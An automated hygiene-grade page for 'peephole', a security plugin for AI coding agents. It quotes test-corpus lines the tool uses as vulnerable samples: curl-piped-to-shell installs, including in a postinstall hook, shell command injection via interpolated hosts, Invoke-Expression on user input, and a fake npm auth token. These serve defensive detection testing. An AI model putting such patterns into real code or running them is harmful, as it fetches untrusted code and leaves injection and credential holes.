Codex, Plugin
peephole
Security enforcement for AI coding agents.
Compatibility: Not stated.
Grade D
Two or more Medium findings, or a High finding. Only try it in a sandbox.
Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.
Rescanned at commit 8e4adff46765, unchanged since the check below.
INSTALL_REMOTE_SCRIPT SECRETS_PATH_CREDENTIAL
Why this grade
- INSTALL_REMOTE_SCRIPT Medium
Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).
corpus_test.go, line 278
{"CWE-494", "Dockerfile", `RUN curl -fsSL https://x.sh | sh`, true}, - SECRETS_PATH_CREDENTIAL Medium
Mentions a credential store path (~/.ssh, id_rsa, .npmrc, .aws/credentials, credentials.json, .netrc).
corpus_test.go, line 288
{"CWE-798", ".npmrc", `//registry.npmjs.org/:_authToken=npm_AbCdEf0123456789Real`, true},
Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.
If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.
Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.
What was checked
Plain notes from the hygiene checks.
Permissions
Concern
can delete files.
PERMISSION_DELETE_FILES
corpus_test.go, line 65
{"CWE-78", "a.py", `os.system(f"ping {h}")`, true},
corpus_test.go, line 66
{"CWE-78", "a.py", `subprocess.run(["ping", h])`, false},
corpus_test.go, line 67
{"CWE-78", "a.py", `os.system("ls -la")`, false},
Show more
corpus_test.go, line 70
{"CWE-78", "a.js", `child_process.exec("ping -c 1 " + host)`, true},
corpus_test.go, line 155
{"CWE-78", "a.py", `os.system("cargo build --release")`, false},
corpus_test.go, line 156
{"CWE-78", "a.py", `os.system(f"ping {host}")`, true},
corpus_test.go, line 253
{"CWE-94", "a.ps1", `Invoke-Expression $userInput`, true},
corpus_test.go, line 390
{"a.py", `subprocess.run(["git", "status"], check=True)`},
benchmark/live/driver.py, line 273
shutil.rmtree(outdir, ignore_errors=True)
benchmark/live/driver.py, line 284
shutil.rmtree(d, ignore_errors=True)
Install and update
Serious
install fetches a script from the network.
INSTALL_REMOTE_SCRIPT
corpus_test.go, line 278
{"CWE-494", "Dockerfile", `RUN curl -fsSL https://x.sh | sh`, true},
corpus_test.go, line 286
{"CWE-494", "package.json", `"scripts": { "postinstall": "curl https://x.sh | sh" }`, true},
Network
Concern
can reach api.x. The description does not name that host. can reach a host that is not written as a fixed address. can reach api.example.com. The description does not name that host. can reach api.github.com. The description does not name that host. can reach x. The description does not name that host. can reach evil. The description does not name that host. can reach evil.example. The description does not name that host. can reach evil.example.com. The description does not name that host. can r
NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST
corpus_test.go, line 175
{"CWE-400", "a.py", ">>> requests.get('http://api.x/data')", false},
corpus_test.go, line 176
{"CWE-400", "a.py", "r = requests.get('http://api.x/data')", true},
corpus_test.go, line 202
{"CWE-918", "a.py", `r = requests.get(f"https://{host}/x")`, true},
Show more
corpus_test.go, line 203
{"CWE-918", "a.py", `r = requests.get("https://api.example.com/x")`, false},
corpus_test.go, line 204
{"CWE-918", "a.py", `r = requests.get(url, timeout=5)`, false},
corpus_test.go, line 223
{"CWE-1188", "a.py", `requests.get(url, verify=False)`, true},
corpus_test.go, line 226
{"CWE-1188", "a.py", `requests.get(url, verify=True)`, false},
corpus_test.go, line 227
{"CWE-400", "a.py", `r = requests.get(url)`, true},
Secrets
Concern
reads a credential or environment file.
SECRETS_ENV_READ SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
corpus_test.go, line 125
{"CWE-798", "a.js", `const k = process.env.STRIPE_KEY`, false},
corpus_test.go, line 126
{"CWE-798", "a.py", `PARTITION_KEY = os.getenv("PARTITION_KEY", "default")`, false},
corpus_test.go, line 288
{"CWE-798", ".npmrc", `//registry.npmjs.org/:_authToken=npm_AbCdEf0123456789Real`, true},
Show more
corpus_test.go, line 127
{"CWE-798", "a.js", `const s = process.env.SHARD_KEY || "shard-default"`, false},
corpus_test.go, line 128
{"CWE-798", "a.py", `SECRET_KEY = os.getenv("SECRET_KEY", "dev-insecure-1a2b3c4d")`, true},
corpus_test.go, line 218
{"CWE-521", ".env", `DB_PASSWORD=admin123`, true},
corpus_test.go, line 220
{"CWE-521", ".env", `MYSQL_ALLOW_EMPTY_PASSWORD=yes`, true},
corpus_test.go, line 289
{"CWE-798", ".npmrc", `//registry.npmjs.org/:_authToken=${NPM_TOKEN}`, false},
corpus_test.go, line 407
{"a.js", `const key = process.env.STRIPE_KEY`},
corpus_test.go, line 560
{"a.py", `key = os.environ.get("OPENAI_API_KEY")`},
benchmark/live/out/baseline--bizlogic--run0/app.py, line 6
stripe.api_key = os.environ.get('STRIPE_API_KEY')
benchmark/live/out/peephole--jwt--run0/app.py, line 14
key = os.getenv('JWT_HMAC_KEY', '')
benchmark/live/out_glm/security-guidance--secrets--run1/upload.py, line 6
3. AWS_SHARED_CREDENTIALS_FILE (default ~/.aws/credentials)
benchmark/live/out_kimi/peephole--secrets--run1/upload.py, line 2
(AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY) or ~/.aws/credentials - never from source."""
benchmark/live/multimodel/mm_glm.jsonl, line 16
{"arm": "baseline", "task": "secrets", "run": 0, "tier": "main", "model": "glm-latest", "is_error": false, "harness_error": null, "cost_usd": 0.24653999999999998, "duration_ms": 28
benchmark/live/multimodel/mm_glm.jsonl, line 17
{"arm": "baseline", "task": "secrets", "run": 1, "tier": "main", "model": "glm-latest", "is_error": false, "harness_error": null, "cost_usd": 0.24933, "duration_ms": 27283, "wall_s
Agent instructions
Pass
No instruction to ignore earlier instructions or to hide a step.
Obfuscation
Note
a file was over the read cap and was not fully read. the file cap was reached before every file was read.
OBFUSCATION_FILE_OVER_READ_CAP OBFUSCATION_FILE_CAP_REACHED
rules_gen.go, line 1
// Code generated by cmd/kbgen from rules/*.json. DO NOT EDIT.
bin/peephole-darwin-amd64, line 1
���� ( H __PAGEZERO � __TEXT �- �- __te
bin/peephole-darwin-arm64, line 1
����
Show more
bin/peephole-linux-amd64, line 1
ELF >